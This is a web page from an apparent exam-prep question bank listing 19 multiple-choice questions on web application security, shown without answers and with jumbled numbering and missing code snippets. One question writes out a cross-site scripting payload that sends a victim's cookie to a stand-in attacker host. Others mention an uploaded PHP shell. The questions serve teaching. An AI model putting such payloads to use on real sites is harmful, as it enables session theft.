Independent Preparation Bank for Pakistani Computing Graduates • 100% Free • No Signup
NSCTPrep.
Home/Subjects/Cyber Security/Web Application Security
Cyber SecurityTopic #4 of 819 MCQs Available

Web Application Security

Comprehensive question bank, step-by-step rationales, and dedicated timed quiz for Web Application Security.

Launch Quiz Mode ↗

Web Application Security Question Bank

Showing 19 questions of 19 with verified answers

10Multiple Choice

(Code-Tracing) What is the security risk of the following terminal output for an administrator account?

1Multiple Choice

(Scenario-Based) An attacker enters the following string into a search box: <script>document.location='http://attacker.com/steal? c='+document.cookie</script>. If the site displays this back to the user without filtering, what attack has occurred?

2Multiple Choice

(Code-Tracing) Analyze this Node.js code snippet. Why is it vulnerable to SQL Injection?

3Multiple Choice

(Conceptual) What is the primary defense against Cross-Site Request Forgery (CSRF) attacks?

4Multiple Choice

(Scenario-Based) A user changes the URL from mysite.com/invoice/500 to mysite.com/invoice/501 and is able to see someone else's private invoice. This vulnerability is known as:

5Multiple Choice

(Conceptual) Which HTTP header is used to prevent the browser from rendering a page inside an <iframe>, effectively stopping Clickjacking attacks?

6Multiple Choice

(Code-Tracing) To prevent XSS, a developer converts the character < into &lt; before displaying user-provided text on a page. This process is called:

7Multiple Choice

(Conceptual) What is the purpose of the Same-Origin Policy (SOP) in web browsers?

8Multiple Choice

(Comparison) What is the difference between Authentication and Session Management?

9Multiple Choice

(Conceptual) Why is the HttpOnly flag on a cookie important for security?

10Multiple Choice

(Scenario-Based) An attacker discovers an application's hidden administrative URL / admin_backup_setup_hidden by guessing the name. This is an example of which OWASP category?

11Multiple Choice

(Conceptual) What does HSTS (HTTP Strict Transport Security) achieve?

12Multiple Choice

(Scenario-Based) An application allows a user to "Upload an Avatar." An attacker uploads a file named shell.php containing malicious code. This is a:

13Multiple Choice

(Conceptual) What is Directory Traversal (or Path Traversal)?

14Multiple Choice

(Comparison) Compare Black-box vs. White-box security testing for web apps.

15Multiple Choice

(Conceptual) What is the "Least Privilege" principle applied to a web application's database user?

1Multiple Choice

(Comparison) What is the fundamental difference between a Computer Virus and a Computer Worm?

17Multiple Choice

What is the primary defense against SQL Injection (SQLi) vulnerabilities in application code?

19Multiple Choice

Which type of Cross-Site Scripting (XSS) attack occurs when an injected malicious script is permanently saved into a target database and served to victims during normal browsing?